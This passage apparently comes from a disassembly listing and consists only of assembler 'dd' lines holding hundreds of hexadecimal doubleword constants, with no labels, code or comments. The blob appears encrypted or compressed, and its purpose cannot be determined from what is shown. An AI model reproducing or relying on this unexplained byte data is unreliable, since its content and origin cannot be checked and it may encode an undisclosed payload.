		dd 0C185A600h, 0C39AEADEh, 0DB6A00FDh, 0A1F18163h, 20003497h
		dd 583A19C2h, 1E22AB87h, 3DE05Eh, 0B235A021h, 4700DD3Bh
		dd 0A2C0ADF8h, 1938934h, 27D1BDDAh, 0FC184B51h,	0DD00A00Fh
		dd 64B281CCh, 199EC6Fh,	5228548Ah, 0C85FC605h, 29FE205Bh
		dd 10D37C00h, 0F1DC6964h, 0EFE40E49h, 5A60E5ACh, 2030B1C9h
		dd 848C8A01h, 16746388h, 0B4C2CCh, 53D20251h, 96732339h
		dd 0D116E0E2h, 9EC061A8h, 0F8BA1Eh, 5154336Ch, 0E0C28CABh
		dd 0E29B4A00h, 0A1645C38h, 0DC981EA2h, 0C75BDEBCh, 7060F8BFh
		dd 81E3BBD1h, 0E5DECC00h, 0AE696195h, 2F321C5Ah, 44604F8Ch
		dd 91885B40h, 0A70297F5h, 0CA6C795Eh, 9809401Fh, 0C0E91FD8h
		dd 0A83D00C6h, 559CCBC2h, 6772FC0Ah, 0CF84DC6Ch, 5120319Eh
		dd 0EE015A37h, 0F8B766AEh, 89D4C4A5h, 180109E0h, 3A00CE02h
		dd 326F1EEEh, 8090F03Dh, 0B1CE33Ch, 840838h, 2DA33D3h
		dd 9C6E3579h, 64789501h, 0E9A25D14h, 738401F8h,	8EE0CEh
		dd 10658992h, 9007F7B7h, 0F51C0212h, 6EE501ABh,	800AA10Eh
		dd 37A76919h, 0A51C332h, 0A5239D36h, 58003D8Ch,	0BFF0E6ACh
		dd 9900A781h, 0F3FF19Fh, 0A0BC61C9h, 0DF5CD4h, 0A6D1BAF0h
		dd 7FE75795h, 0CB410605h, 0CB00C542h, 0D73804E6h, 0F8A6005Dh
		dd 395AF948h, 70021FEh,	8B79C930h, 7BF4E62h, 0D64A1AC2h
		dd 5FED70F8h, 5507D957h, 0DDE8CE6Dh, 83B95AA0h,	7033F09h
		dd 0DBA44F80h, 0C6519EC4h, 0B84C620Eh, 34B2C03Bh, 3C6AC082h
		dd 2E8067BAh, 4F24A1D7h, 4538CEB7h, 8F7E3E13h, 58E5FEh
		dd 23A3E91Ch, 57A1000Dh, 56F63C6Fh, 8F038E16h, 3B6172DCh
		dd 0D3CBE862h, 3D54E219h, 0A8807EB7h, 4F21767Fh, 2C001D66h
		dd 0BDC38DC5h, 0D0FDCEh, 0C84519F9h, 99813ED7h,	0C4019098h
		dd 46876F1Ah, 0E930FA9Dh, 247A03h, 948A5AA5h, 22D6D88Fh
		dd 0F327210Fh, 76F08062h, 0FC11CEh, 9D7D49FFh, 5B7CE52Dh
		dd 0A5665800h, 53CD6727h, 0EF651C68h, 0FE26C0C7h, 13591E95h
		dd 0D4AE1902h, 8317628Ch, 0E0D3A7F6h, 233AFCh, 0C9BFBEA3h
		dd 9B157BADh, 0AFA5CE00h, 0C3B59D53h, 7EED03F8h, 9F046EEBh
		dd 349C95E0h, 0E40B5700h, 0C6ECABF0h, 240C00D0h, 5E0F13D5h
		dd 25176D97h, 0C9001A39h, 7B7244C5h, 8D190091h,	693FA75Ch
		dd 2078F2D7h, 52D9A200h, 0A8E3C099h, 0F8F00777h, 575C5527h
		dd 0A6A9403Ch, 0F5005646h, 82A24744h, 0F75DE5Bh, 41EFAF23h
		dd 7A8177E0h, 0E800A737h, 0F95510FBh, 6F19D3Ch,	2352E374h
		dd 180089FEh, 0F01596EFh, 74E49A9h, 0B693FAE7h,	0E0AF8F05h
		dd 0B01CD507h, 218CC37Ch, 59382C7Ch, 655A00EDh,	0FABE3542h
		dd 97F2023Dh, 0CAD7BF0Eh, 0C392402Fh, 0F667A94h, 5815DDBBh
		dd 0CB3FFEDEh, 8500D9BCh, 0C21D1A84h, 0F7183E7Bh, 79ECE0D1h
		dd 32D407C6h, 479BE790h, 3AB031A5h, 85AEEC92h, 27007277h
		dd 0BAF79903h, 10BDF6h,	21F50597h, 3C6AC2C6h, 92681500h
		dd 0FD59324Fh, 8D5100A0h, 52103E39h, 4B3F9131h,	549A80CFh
		dd 0F0D102A5h, 308B0306h, 42B37B48h, 0FF97B6C0h, 9B1DB100h
		dd 0DDFDA1C7h, 299C006Ah, 0D0FA2579h, 6200A371h, 0EA357359h
		dd 7C5744CDh, 0DB650017h, 9DB43ED5h, 831E9510h,	0E24064E5h
		dd 13F80CBDh, 65AF0E5Ch, 0D9205F1Ch, 0CED1614Fh, 0C5C17503h
		dd 984011ADh, 1E522AEEh, 0C324FCD6h, 81E60FB8h,	0E40AD1D1h
		dd 10FF1A4h, 0CEC4FAh, 0AC63B5F6h, 662A3E3Fh, 0D3764303h
		dd 90DC4846h, 0FF264BE4h, 0B6B9900h, 618541AEh,	0EA6D005Ch
		dd 4860982Fh, 0E8E9FA72h, 7700CC08h, 0DA8DC29Ch, 44E75CFh
		dd 5D473EF7h, 0FCA98089h, 0A2600116h, 8EEB8211h, 0BDC70023h
		dd 0FD51DC6Dh, 5048EE71h, 0F8C80130h, 6A04586h,	3BCE5DD4h
		dd 0B53C8313h, 0D812EE00h, 6D144C26h, 7BDC3301h, 3D29DABCh
		dd 92808854h, 47221EBh,	0EF9E0702h, 29FC589h, 7383AD30h
		dd 0D91C7440h, 0E3006AFEh, 6022080Ah, 989C158Eh, 0F1820308h
		dd 8B2A9A89h, 6D4878F0h, 0B81FE972h, 7C40106Ah,	9D63E75Dh
		dd 0A1A7EE33h, 0A8E31489h, 6F9F35h, 87FC2F99h, 9AFF9D7Ah
		dd 0AD8C6E07h, 0A880FA74h, 0E343ABh, 6BD36C89h,	889ED295h
		dd 609A960Ah, 0E04F877h, 26808B53h, 3A54D41Ch, 0DF808424h
		dd 0BA8C4F2Dh, 7A09219Ah, 0A0614112h, 4E2BC28Ch, 681EC0Eh
		dd 212A02BEh, 0BA3AB062h, 293E308Eh, 0E03F88h, 5ACE0E84h
		dd 3157FCFAh, 1D6BC700h
		dd 0C32ACD8Fh, 99B300F5h, 597C73CEh, 0F07B16F4h, 507758h
		dd 8C6D87B0h, 0D92D5Eh,	0E11301DAh, 9F481D9Ah, 0B8142901h
		dd 253CE4BDh, 0FE2F4020h, 0B304008Ch, 0A91C6AF5h, 0ED054C40h
		dd 0D3D6E81h, 0CF3E6680h, 0A67D008Dh, 7923AB35h, 0A4008237h
		dd 0E2606821h, 2C3FEF5h, 0E666C7A3h, 4940C5E8h,	6203ADA6h
		dd 9FE5C608h, 5A291C38h, 5BD240BDh, 0A8889192h,	0D04920h
		dd 0E893D48Dh, 74382BEAh, 94349200h, 88F8760Eh,	124B74B9h
		dd 5C8504h, 6D2FEF57h, 47007A10h, 26A17206h, 173E3F4h
		dd 0D41B6AD1h, 60CE7543h, 9500CBE9h, 0E0F39B62h, 0E2D3B669h
		dd 15EB3C8Ah, 4CD534E2h, 0B0A890C0h, 3244EF07h,	6291F172h
		dd 29D83C7Eh, 16DF610h,	54B0F91Eh, 0F72ED060h, 0BA4BC0A4h
		dd 5C0109B5h, 0FBD2511Ch, 0B8204536h, 0C0DA0056h, 9D5EFE40h
		dd 18079272h, 43BE9730h, 0E7306427h, 0BBE0C6h, 9DFED4C4h
		dd 3D637B38h, 0C84FA000h, 67AF5443h, 0D78700A5h, 0B88AB207h
		dd 0DE00388Fh, 0EE31599Ch, 70B47Eh, 5A14B74h, 0FAA403C4h
		dd 0C09ABC01h, 441E2F3Eh, 592DF0h, 90AA23ECh, 0FA974E74h
		dd 0D09B4A00h, 3E54DDDEh, 0CA5B00E4h, 85D878E0h, 0BA01A53Bh
		dd 2EED3C01h, 22F403EEh, 509F0389h, 0EF82E5F1h,	13D038DBh
		dd 8E00EA23h, 2645D8BAh, 4E3211h, 3A91466Eh, 65FC259Ch
		dd 0CE24C5EAh, 820068FFh, 0D28C152Eh, 18E20045h, 93D13819h
		dd 2300BDE6h, 6B547D9Eh, 6F805Ch, 61D60B4Ch, 1A03A718h
		dd 0AFFF9C00h, 959F7166h, 0CB2600BCh, 77879EECh, 8CF620CCh
		dd 18003A75h, 5E3FE48Dh, 3DB7C4AFh, 5087A72Eh, 2032D578h
		dd 0A2BB3B7Bh, 4FF9B92Eh, 0D8341D00h, 124D4769h, 4023094Bh
		dd 0D480E6CCh, 7B000467h, 20C8947Eh, 70C72B5h, 292C75A3h
		dd 0A116C0A4h, 0D8E69258h, 1C6D1003h, 74DDC948h, 678604A0h
		dd 0C0D79E89h, 3F19B89Ch, 39E44C00h, 9F13F758h,	99F057h
		dd 553648EBh, 0ED0250B1h, 0D3D13200h, 55DC122h,	4FBE0F79h
		dd 3EC05456h, 9811A038h, 0A7534B00h, 5E619D47h,	95EE0078h
		dd 21CEF4Dh, 0AC0E65F4h, 475F37A4h, 0FEC06BFCh,	0BACD0Eh
		dd 2E95F6F1h, 0B4B5F57Bh, 76038473h, 26CEE530h,	204E0056h
		dd 2CC67036h, 0B49EA54h, 0CD0F0070h, 0A3F0E6F8h, 887E0183h
		dd 118E078Ch, 1802D8CCh, 0E91EC607h, 0B5A042E8h, 7AA430h
		dd 0E5505FF5h, 0A3A68CC9h, 0CE2A8900h, 332FB2C4h, 0A4E1E8Ah
		dd 0B7EA8AA8h, 0C230ABCh, 53250038h, 9B6BF0E1h,	4995B600h
		dd 69756643h, 42BB1CE4h, 31D2437Bh, 2F3F99Ah, 0C53E46C8h
		dd 0C38FCAC0h, 7D2C440h, 0A8C0B3B2h, 9452E130h,	33E8F4C9h
		dd 575AAE00h, 4F8CB57Ah, 5BD400E9h, 0FA31A3AFh,	47E68FC6h
		dd 66B0DCA8h, 2DCCC400h, 0F606B31Ah, 46C700AAh,	0FFDB30D6h
		dd 0F00EADC3h, 0ABC92Bh, 3180B483h, 12A2E80Dh, 0C053EAh
		dd 0CB42D534h, 88005BFEh, 700DEB6Dh, 30D3EA45h,	8186C51h
		dd 14135228h, 980FE7AFh, 32C61E87h, 884140h, 54AD676Ah
		dd 7B909216h, 86C3AA06h, 0A91770h, 7EF7E211h, 280930Dh
		dd 594A4500h, 34C7CCAFh, 762B00CDh, 0ADF53E08h,	9309E670h
		dd 3569BBh, 8853C616h, 32780026h, 1202CF92h, 2C007F4Fh
		dd 0CA98C835h, 18D04D66h, 4041FFFEh, 0F500166Ch, 0C0386080h
		dd 7B4EF8C2h, 0E28098A9h, 1E5200AEh, 2EF0B76Eh,	9002C38Eh
		dd 12AFBA76h, 0CEBCE0FAh, 111B0091h, 56A917F3h,	3A054FF7h
		dd 6BD204F9h, 1F02901Dh, 40D9D74Dh, 117E50h, 1DCCEF87h
		dd 0A4C7EC05h, 21C4F9CFh, 0C82CCBF9h, 7680F571h, 0F60C0F8Ch
		dd 0AB60E224h, 87BF58B0h, 84715C4Dh, 0B7553507h, 0C64EC07Eh
		dd 0E126F8DCh, 0EE001437h, 6CC19F63h, 0F98F033Dh, 0D292CFC5h
		dd 0A66DEF90h, 31009890h, 6B5264C1h, 0A04A56h, 6F2E5898h
		dd 0D88B221Fh, 0F6E4300h, 0C25CE2CEh, 0F0B22Ah,	7C0989DDh
		dd 0EE764F9Dh, 0CC50BDEAh, 31004BECh, 7DFD67B5h, 469E0Dh
		dd 7E15E4D2h, 0C83FBA69h, 0F55DAC03h, 0F8750739h, 6E592AEh
		dd 7AAD9B67h, 3A4C612Fh, 3A2526DAh, 36351500h, 13813B8Eh
		dd 1663F71h, 0F81EAF2Dh, 69C5259h, 0ADE20820h, 20C92EFh
		dd 0BA13BB4Bh, 56C09254h, 0E21D4223h, 48308BA3h, 358731h
		dd 759BCD24h, 7672C167h, 0F32F5FEAh, 0ECD450A6h, 6CC700AFh
		dd 864AFEB5h, 961C97B8h, 43C646A1h, 0F4D906h, 485ADF72h
		dd 3BB041Eh, 52A19500h,	60BDAE77h, 0B6573970h, 734B5A00h
		dd 0F6ACF1D7h, 0ECBE3300h, 55C078FEh, 0B4341E47h, 8C398023h
		dd 0F1016482h, 7D9191Ch, 8A7F040h, 0CECE721h, 7EE0496Bh
		dd 0D60389F6h, 281A90B7h, 3D300B29h, 0F18EDE20h, 7BEF7E01h
		dd 0E87FF82Eh, 16276300h, 840B2B5Bh, 0F12F0054h, 1EE669B1h
		dd 0EB0044BBh, 52A5935Ch, 15733Ah, 0F2FF619Fh, 8F895D2Bh
		dd 3B04ED4Ch, 91948CF0h, 49118Ch, 0A7A467F6h, 48D1E3BAh
		dd 2D0030E0h, 0E062F2D4h, 28EF4AE8h, 88A2E9h, 1DFFFC32h
		dd 56738928h, 60F5EB00h, 978F6AAFh, 2B61013Eh, 79338E70h
		dd 11B8E799h, 86123C1Eh, 10070FFCh, 40E2A787h, 0AC19E1B8h
		dd 0A5963080h, 0D443593Bh, 0E90A4F00h, 5DE275FCh, 5A2D0704h
		dd 0B01A36C0h, 41DBB47Ch, 11AF54Ch, 0B618AA99h,	5860962Ah
		dd 0DCE40EA9h, 0E587C547h, 832DF4F4h, 0C4A08D84h, 770F2AF6h
		dd 404F0508h, 0E86318D8h, 785101E3h, 20605E69h,	0A02288h
		dd 91638B43h, 0F72ACFh,	8381B452h, 51973DB9h, 8311B13Fh
		dd 8DC558F0h, 0C433E0BCh, 5F781340h, 0A38C0F6Ch, 0FC50DCC3h
		dd 24B5C7A8h, 5D03D096h, 0E0F6E861h, 49260763h,	5248C07Ah
		dd 0A3D10B78h, 0FC207F7Bh, 3AA90998h, 0AA2428F6h, 8E008415h
		dd 665BC862h, 472101C1h, 8F3360B1h, 833060ECh, 2609AE90h
		dd 6051BF07h, 49CB8h, 76449B6Dh, 66C47A20h, 87F6E602h
		dd 6181343Fh, 8E406AD4h, 0FA44B68h, 2E9740BAh, 939C5020h
		dd 91C0667Fh, 55A90BDEh, 0B17E098Bh, 0BCE04534h, 20704BECh
		dd 1C8AAD00h, 94B49A1Eh, 6BBD126Fh, 2EE400F2h, 60730D7Fh
		dd 356E6200h, 0E8E2E04Ah, 60B09680h, 5B193140h,	0E50B7300h
		dd 3CFA0569h, 1E6EF8BFh, 16676CDh, 0F06DA39Eh, 78BED429h
		dd 8FBAE209h, 12A4806Bh, 987C4EF7h, 6F0B1828h, 9FB9A160h
		dd 0B668A100h, 363CE4EDh, 42320746h, 0F003ECC6h, 1E238A87h
		dd 86FED139h, 0D9A6CFE6h, 9DC31211h, 21D10124h,	80B49BCAh
		dd 1F9F4F19h, 71007C2h,	0E2607643h, 3B535051h, 0C603C3DBh
		dd 49E1A48Dh, 5C209F03h, 0CF572h, 0FAF05595h, 5194C94Dh
		dd 1B801000h, 1AA2318Eh, 907401C5h, 0CD0916B1h,	5D84C473h
		dd 0B45F8A00h, 7DEEF8C3h, 23B20FE8h, 17479368h,	5237008Eh
		dd 0B805C33Dh, 0A763F178h, 0C23060D0h, 4AC89A41h, 0D9E80266h
		dd 8CA17F19h, 60D43B33h, 4378BBC3h, 76C07D00h, 25480392h
		dd 388838C5h, 9B741389h, 0FBC69301h, 4B7DC8A3h,	65031A1Ch
		dd 3ADE9Ch, 43DF6FFFh, 13F98C2h, 36E0EE20h, 0D814DD19h
		dd 0E6000D03h, 3B730737h, 12C9BC91h, 93650Fh, 131D2C2Ch
		dd 420E63A4h, 0E385FA21h, 0C0908114h, 0FC5CFBh,	78EADD1Eh
		dd 0EB29B973h, 1438BCB0h, 0BEBE28h, 5B23FB4h, 1675D55h
		dd 0A973AABFh, 0C5D69688h, 9BC20F3h, 11006472h,	0F20EC394h
		dd 731D9FA0h, 0C12F0FACh, 6687E1D7h, 0E4EA105Dh, 0F0B83FB7h
		dd 32F49D00h, 0B4878B54h
		dd 7830F570h, 0FF6F0065h, 1CB04378h, 0E9005399h, 6D147B05h
		dd 0F069FAE7h, 0B6EC54h, 8A4BE47Ah, 0A5647EA9h,	5303F698h
		dd 0A103595h, 0B3AB898h, 17030023h, 455EC588h, 0F80591A2h
		dd 0B535EBC7h, 933CF080h, 0F3510163h, 0D52943AAh, 0C17EE0E3h
		dd 4855D203h, 0D36CEECBh, 0BC28E0C8h, 42BE0E9Bh, 33A0D8EAh
		dd 626FA4B9h, 0CC05940Eh, 0E6D1C2D6h, 0C690818Fh, 42CE365h
		dd 0EECA5B00h, 0BEB363C5h, 0A8063301h, 7BD32636h, 7A160h
		dd 628077D9h, 47678909h, 9B467C00h, 9CFB7021h, 405C0B06h
		dd 1B000F39h, 675AA5A0h, 0E7E61C00h, 7DD3AC44h,	0F111E9Dh
		dd 85DC873Dh, 3B87800Bh, 0B3005A6Fh, 0FC157088h, 0EEB1DAB7h
		dd 58310081h, 1C1990DBh, 0C50017C3h, 82294B8Ah,	1DADBBh
		dd 4341272Ch, 685C0C88h, 38DF6201h, 467720A8h, 9DFAE4h
		dd 9984A510h, 0AFC14BBCh, 0C9BD4E00h, 0AE78BF7h, 0E4B61C44h
		dd 488A40F1h, 0A029033Bh, 0CB5B9700h, 0D6783746h, 0C8E0A08h
		dd 3F4791Dh, 7E0796FCh,	985B50D0h, 0E10BA51Eh, 0E827D4A8h
		dd 47EC8F51h, 8CC72B85h, 0C0AC42C3h, 0B8B70D8Fh, 0B4473B3Ch
		dd 7445B9Eh, 5F34812Fh,	18278E0h, 61008640h, 0AE885E1h
		dd 0A090BD3Dh, 44B5D2D4h, 5E01393Fh, 3F410C8h, 0D820CE33h
		dd 0F57E27Fh, 0B6F14609h, 60B0848Ah, 1E0593AEh,	965BD2C0h
		dd 758074A0h, 0F5CE0120h, 24F8DB3Ah, 0A7A2E47Dh, 43C80200h
		dd 44A94F0Fh, 4280964Ch, 1B004D15h, 9A80Bh, 46268BD8h
		dd 3C789DC4h, 7A51900h,	22E4B047h, 1EE503E1h, 73F995E9h
		dd 0C6247AF0h, 0F0708F17h, 3F0AF840h, 2AE54Fh, 0CC133559h
		dd 31EC4C4Bh, 6A862000h, 6460A690h, 7FABFC5Fh, 7F9100F3h
		dd 9D468FDCh, 0BC1C1CEFh, 7400E9CFh, 0A97C0F7h,	47B1004Eh
		dd 19B03D56h, 9000F160h, 91728D10h, 7574F38h, 0CC76480Bh
		dd 948E61B8h, 1E807E29h, 1E69434Ch, 752BD5h, 54C2DB9Eh
		dd 0ED0009FBh, 72F74EC9h, 9B28FEh, 0AEC31D86h, 0A42657ACh
		dd 5137B300h, 0BF54FC1Ch, 302F1C7Fh, 759E001Dh,	6FE1C443h
		dd 6276DB7Bh, 4810B209h, 7F74C165h, 12AC864h, 0C3F11483h
		dd 207CBE09h, 2C037794h, 6653BD06h, 53788A5h, 0E0E20117h
		dd 93C40882h, 9E9EE5C7h, 72CFCC48h, 40E26581h, 73F3C400h
		dd 0F5F0EEh, 0FE9B7C1Ah, 0D058553Ch, 18934B26h,	0C2BB2C0Bh
		dd 1F4360C8h, 3E280012h, 219F86FFh, 3C9091F7h, 2037362Fh
		dd 84D45D2Ch, 29230146h, 2C2EDF07h, 0F0C8E62Fh,	0B2005EB8h
		dd 1F02F82Dh, 7F51549h,	0D02A4166h, 422010B0h, 0A90F4B8Dh
		dd 0E47E08D9h, 60B009D8h, 1CB80Bh, 0FB584F03h, 677A5C45h
		dd 9E51EF09h, 397005D7h, 0B8CA00FFh, 0AA49C11Dh, 82382709h
		dd 0D5D80048h, 350F167h, 0FD013123h, 7E887C8Ch,	6D009944h
		dd 0F79327F2h, 25A46E3h, 3387E66Ah, 78707A7Bh, 80D0413Dh
		dd 5B1B44Ah, 3136254Bh,	2248F357h, 1FACF032h, 93B76414h
		dd 1B0171D6h, 5A6A9AB0h, 0D6D81059h, 91E7ED5h, 0C2AD1728h
		dd 0E1508801h, 0D6B700A2h, 74430076h, 1826C332h, 0E7E87C9Dh
		dd 8DA9BC1Fh, 0C9D3BA80h, 1AD5B84h, 0DFBE4C5h, 0F79485B2h
		dd 0C4596EC0h, 53CA848h, 4D96A99Ah, 0B29B20C0h,	0BEE70F8Ah
		dd 1C20191Ah, 27D09857h, 0D55A3700h, 0B57EB88Fh, 974B0774h
		dd 0A42CAB1Fh, 83B3C09Ch, 7900C32Dh, 7F3B009h, 0A0228525h
		dd 56BA5E4h, 0C8C5FAAFh, 80518419h, 964359D8h, 0DE3C3800h
		dd 6585023h, 0EABD0711h, 4019EDF0h, 0C8F62D9Fh,	0D200577Bh
		dd 0F5A121B0h, 4A13EEh,	0AEB5935Ah, 0CEC39B47h,	0F202673Ch
		dd 0B828C09h, 6E130FCCh, 1736CED8h, 8F1AB400h, 23C8E6h
		dd 31DC6D6h, 0F53A7478h, 6F001E7Bh, 84EBD47Fh, 0F2AD236h
		dd 485FB146h, 6BEC00B2h, 401058F2h, 2D076677h, 1179FDA0h
		dd 1A92002Fh, 3EAE9862h, 0A200F12Bh, 6C9A52FFh,	99002C37h
		dd 0A343DC87h, 22EF065h, 702688C2h, 0D4009891h,	12892C7Ch
		dd 0B12B9A36h, 0B6F3CC38h, 0F98BF400h, 71083DE8h, 0F84F0E7h
		dd 0C6D2469Bh, 3F0F26E0h, 7B30B989h, 0B51E38E9h, 64241D4Ch
		dd 731E6A7h, 80A63391h,	0D4772674h, 4984DE0h, 79A94817h
		dd 38C3BC40h, 77FB34Ah,	6ECDEC68h, 0A567E0EDh, 0A177F77Dh
		dd 0EE224C00h, 0CDF2D226h, 0CA650546h, 0C17290A7h, 0D43CA5D4h
		dd 0A42C5C78h, 0CC00F8E1h, 0AD6A8B64h, 532100A3h, 0D975B84Fh
		dd 0DC009B2Bh, 6D84871Ch, 5D46266h, 14449131h, 0A7857Ah
		dd 2EC480DCh, 0F70F58B0h, 0E039860Ch, 0F684BD20h, 8F880316h
		dd 0ADB20942h, 0E0CCE5E1h, 0BF0008EAh, 0CDE1C7FDh, 0F815F838h
		dd 62D80299h, 0A412857Bh, 236A3C60h, 0E020FA4Ah, 3F99C8AFh
		dd 8401F8B0h, 0B787B0Eh, 0DC8040A6h, 5000B716h,	0F1949275h
		dd 5BB54Bh, 0E94FA9AFh,	7CFE79D2h, 0C1118A60h, 2522838h
		dd 0DD9E9F24h, 827DEA46h, 40726970h, 3E1DA420h,	3FBCC623h
		dd 44895DA7h, 58F7C500h, 0F90F2FE5h, 80D1F0E6h,	79342841h
		dd 81520ED9h, 462098A6h, 99F3661Fh, 9487C328h, 32B33800h
		dd 3A9A6430h, 0DD9B0003h, 7A404136h, 0D094A70Ch, 80007F13h
		dd 376D3313h, 0A91C1C8Fh, 0BF424773h, 0CF01C2B3h, 0AF00E858h
		dd 0F8D1E1EAh, 88184Ch,	623D673Fh, 0D566432Bh, 0EB3961F0h
		dd 0CF2D0108h, 9470DC47h, 3C8D434h, 0F867222Eh,	7800FC0Fh
		dd 717F14D5h, 7150C947h, 44FF0089h, 8C3EF5C8h, 0BAFE1227h
		dd 33041400h, 0E034B883h, 0B09B0A8h, 1A477C41h,	37665401h
		dd 0FCE105Fh, 5B9D0131h, 3C3F51Dh, 0EB96402Eh, 9505A667h
		dd 0BB26057Fh, 0AED8B4h, 0C35B0E91h, 13D9A498h,	828760Fh
		dd 5A70C39Ch, 1E49719Bh, 0C0148EEEh, 924B1C4Ch,	0B10F02FCh
		dd 1DAC7616h, 0BF617140h, 7FB5DBA3h, 27FD0029h,	4878D19Dh
		dd 8D12994Fh, 0F40338CBh, 90ACEDE5h, 1F0ABC47h,	40A571F4h
		dd 0C4B5760Bh, 2F0037CEh, 4BAFB722h, 5C5C6A84h,	1F78032Ah
		dd 817C4A42h, 3DB9C70Ch, 0A083476Fh, 94BBE35Bh,	0E6095DECh
		dd 1972A50h, 0BD7B180Ch, 0A0C8E4FCh, 4C3B4CE4h,	0A52472DBh
		dd 0C26200C4h, 43A38E73h, 24CC2926h, 0FE515F06h, 9881B041h
		dd 4830C4D1h, 903C8101h, 0BB82F40Ch, 0BF765300h, 42C4C98Bh
		dd 193A001Ah, 547A58E8h, 551385F7h, 5B00D844h, 682B797Fh
		dd 0BDB73B6Ah, 54D60381h, 0F918C924h, 3360800Dh, 9D20EA3Bh
		dd 63D00F8h, 2ED8D3D9h,	680317D2h, 0CEF7902Fh, 36390065h
		dd 0B1550F69h, 0AA12376Fh, 18901F3Bh, 170EBD2h,	0FC0895DEh
		dd 3066F30Ah, 50B8E68h,	39A9CCh, 0CEC5334Eh, 0A6D813B1h
		dd 0AE40030Dh, 27E0378Dh, 21C3BD07h, 0C82025B9h, 9C4DE94h
		dd 0F2D921D1h, 9BFDC82h, 87084878h, 8036ABB4h, 33B140E9h
		dd 0F648BE59h, 0EC670C7Ch, 312422h, 0FFFE8996h,	8C5223A8h
		dd 9115400h, 0B8F2DCE8h, 0B31F2E6Ah, 5FB989CCh,	3C5800A0h
		dd 9F03097Fh, 19598F94h, 9D180050h, 0B8C5D708h,	760EBFE3h
		dd 0C0C33D21h, 0C8759B68h, 43212C6h, 848E01A7h,	3C6FB5EDh
		dd 0FB8612F8h, 0D1D10482h, 2C7A091Ch, 0A70708A1h, 0E844C680h
		dd 90B16527h, 189EFAE0h, 0A1F5A6A8h, 0B00558Fh,	0A95A10F2h
		dd 151FE0h, 877EB19Ch, 3F597F1Bh, 0CD00BC94h, 47CA73F7h
		dd 0E19000E7h, 1F0E1115h, 9F59E59Eh, 9778006Ch,	1CB81953h
		dd 0E69B0088h, 0C2894946h, 0BD008F6Fh, 3AA32DADh, 79E7B085h
		dd 671200E2h, 0EFA21B20h
		dd 2D25B7DCh, 0D5F8C873h, 0AE7403FCh, 332B76C1h, 3472A291h
		dd 42034B48h, 0B0ACF68Eh, 0A8DF9074h, 0FE730E2Fh, 0F961BBD4h
		dd 0E0D6F86Ah, 0AE0057E2h, 0E9BAE387h, 0ED480h,	0F824FBE1h
		dd 0CA118DEBh, 61FE4C01h, 0C2839760h, 6F4BE8h, 0F6DDAA81h
		dd 0D235B25Dh, 0BB59E70Eh, 0E33EE36Ah, 0B0F1D0F0h, 75880F05h
		dd 0F20051A8h, 0C0BA9F1Ch, 0DDF36E12h, 176A50E0h, 3967914h
		dd 5FF8CCD8h, 4032ADB1h, 4649C98h, 6D8EA30Bh, 66200BABh
		dd 32FC3F7Ch, 66039D3Ah, 0AF0B9CC6h, 92AB7AC0h,	0F22BAC1Ch
		dd 0D042AE84h, 0F00FF885h, 0C0B98E31h, 2A08EC15h, 3C849024h
		dd 649C87E4h, 0CDA280B6h, 60B9E91Eh, 0D684BCA0h, 690B12F4h
		dd 0D8C89392h, 775907AEh, 10377673h, 0EC22F411h, 71E5100h
		dd 98561D71h, 0C6E007EBh, 502A1CABh, 6C781B46h,	0B226A500h
		dd 0A206E602h, 0EA400024h, 6B993B0Bh, 3300ED59h, 0F3B36611h
		dd 0A7345Fh, 8B61D837h,	0C2C8803h, 0C245A31Fh, 7A507700h
		dd 10DAE6h, 8CDBE341h, 8296180Fh, 2B7E9D01h, 39490AE1h
		dd 1C4E7F30h, 0BE998967h, 55F28F00h, 1AFCA510h,	0FA12C6FCh
		dd 0E2019EE5h, 0B204544Bh, 7F1ACC8h, 16070989h,	0D03EA055h
		dd 9D0364B4h, 0C630D7BEh, 0B687D0D9h, 0FA450E10h, 0BD00FD77h
		dd 307338Eh, 59A70F30h,	0C6EC930h, 357729C2h, 0D10F6248h
		dd 20E410AEh, 0B4F8BBA2h, 0A6E2001Bh, 0DA58DB2Fh, 600A46Dh
		dd 7F73709Ah, 23AEF11h,	2D8F0732h, 95601E65h, 380F6A2Bh
		dd 0BED516h, 0AD944EDBh, 1C9C0EACh, 85A05446h, 0A6C59888h
		dd 8C6AC90Eh, 4E260079h, 206EF9h, 0A9834CB1h, 574A7F5Dh
		dd 68B0B376h, 3DA12A39h, 57D0070h, 1D948D1Bh, 0CA020071h
		dd 0A80E4C5h, 69009D87h, 8843EAC3h, 197CFAFh, 3E7F3D0Eh
		dd 50327C04h, 4B120D84h, 0BC5B3B28h, 0AE2C6500h, 43A4504Fh
		dd 88235451h, 10D900D2h, 0A1777E57h, 0E701FFBCh, 6F7558F0h
		dd 0B260F649h, 0EC98009Fh, 0AF6A22F2h, 0BF00B6D0h, 62AD97ABh
		dd 84FCF5h, 993DDF2Bh, 59572483h, 0B6F08703h, 0B0C19B18h
		dd 0A74601Ah, 0A7096B3Bh, 1882097h, 53E21EF2h, 0D4E6BF54h
		dd 0C7070E35h, 74BA7ECCh, 63958CB0h, 0FEF503FDh, 48313AB7h
		dd 8E0CBC00h, 0A6CFC2C3h, 0FF400086h, 4CD9B814h, 0E0059B1h
		dd 0FED2CB7Bh, 0B8F2C34Eh, 0CA8F2E49h, 785718E0h, 0F80098A0h
		dd 1661B932h, 1D78050Fh, 408D2414h, 0ECC52183h,	98B070B8h
		dd 0EA9A4A1Dh, 0DCE24500h, 3A24D19h, 84522CC0h,	0A5A8741Fh
		dd 0A10002F7h, 32A78629h, 0D74DF6h, 0A4BD65D4h,	0F3C5C9A2h
		dd 6389CF00h, 66DA0F9Eh, 0AB4F24DBh, 8EE19054h,	77160D2h
		dd 90BA8Ch, 0A43ABCC7h,	3FDEE4B0h, 450B4600h, 59FB4EA9h
		dd 6EB50711h, 207ACA54h, 14EC44E3h, 0E4A78D03h,	0C828536Fh
		dd 7024CBCh, 8E69CB47h,	0E6860097h, 3800C5F0h, 4F4A5227h
		dd 0FA05CADh, 947B90D9h, 5DE48EBEh, 0F31699C0h,	2401DFBFh
		dd 0A5FF0273h, 0C03FE8ACh, 7A17FEF2h, 0A8489228h, 0EE7700Fh
		dd 0ECF0E020h, 12B1A991h, 0F5BADFh, 94FFF302h, 3D7EB888h
		dd 5F1AA40Fh, 0EC0B00DDh, 0FC1D89D1h, 0FE8D30DEh, 45CA2258h
		dd 8B99D400h, 2092ACCEh, 0FD0FE77h, 22F6C967h, 6CB1DC21h
		dd 89E1E07Bh, 3FC8B612h, 0F4A92420h, 80AB486Eh,	0F5348E00h
		dd 24CDB0B9h, 9B7BC400h, 2A5C104h, 6E2F0122h, 3ECE2C9Fh
